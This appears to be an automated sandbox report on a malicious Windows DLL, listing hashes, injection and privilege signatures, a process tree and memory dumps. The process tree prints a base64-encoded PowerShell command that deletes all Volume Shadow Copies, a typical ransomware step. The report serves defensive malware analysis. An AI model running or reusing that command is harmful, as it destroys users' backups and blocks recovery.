Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:46
Static task
static1
Behavioral task
behavioral1
Sample
79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924.dll
Resource
win10-en-20211208
General
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Target
79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924.dll
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Size
164KB
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MD5
73d65e31b345ede135461c72e8bec74b
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SHA1
f5084a8237c80b9d799c89da4c78b32ad1ca69ff
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SHA256
79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924
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SHA512
e3462882ccc24f31e581d7e19ec55fbb377058d6beb754371e6863038a8f2484b36602ee74b964f0b9af2f436c5433d920fc58f25c34baa00b97f9cd6cc22515
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\F: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1920 rundll32.exe 732 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1920 rundll32.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeBackupPrivilege 1924 vssvc.exe Token: SeRestorePrivilege 1924 vssvc.exe Token: SeAuditPrivilege 1924 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 740 wrote to memory of 1920 740 rundll32.exe rundll32.exe PID 1920 wrote to memory of 732 1920 rundll32.exe powershell.exe PID 1920 wrote to memory of 732 1920 rundll32.exe powershell.exe PID 1920 wrote to memory of 732 1920 rundll32.exe powershell.exe PID 1920 wrote to memory of 732 1920 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\79abd7ee971040ba78f283980f10f76419980e3c3e9fc12e67a212dc87a37924.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/732-55-0x000007FEFB8C1000-0x000007FEFB8C3000-memory.dmpFilesize
8KB
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memory/732-57-0x00000000022F0000-0x00000000022F2000-memory.dmpFilesize
8KB
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memory/732-58-0x00000000022F2000-0x00000000022F4000-memory.dmpFilesize
8KB
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memory/732-59-0x00000000022F4000-0x00000000022F7000-memory.dmpFilesize
12KB
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memory/732-56-0x000007FEF2B40000-0x000007FEF369D000-memory.dmpFilesize
11.4MB
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memory/732-60-0x00000000022FB000-0x000000000231A000-memory.dmpFilesize
124KB
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memory/1920-54-0x0000000076041000-0x0000000076043000-memory.dmpFilesize
8KB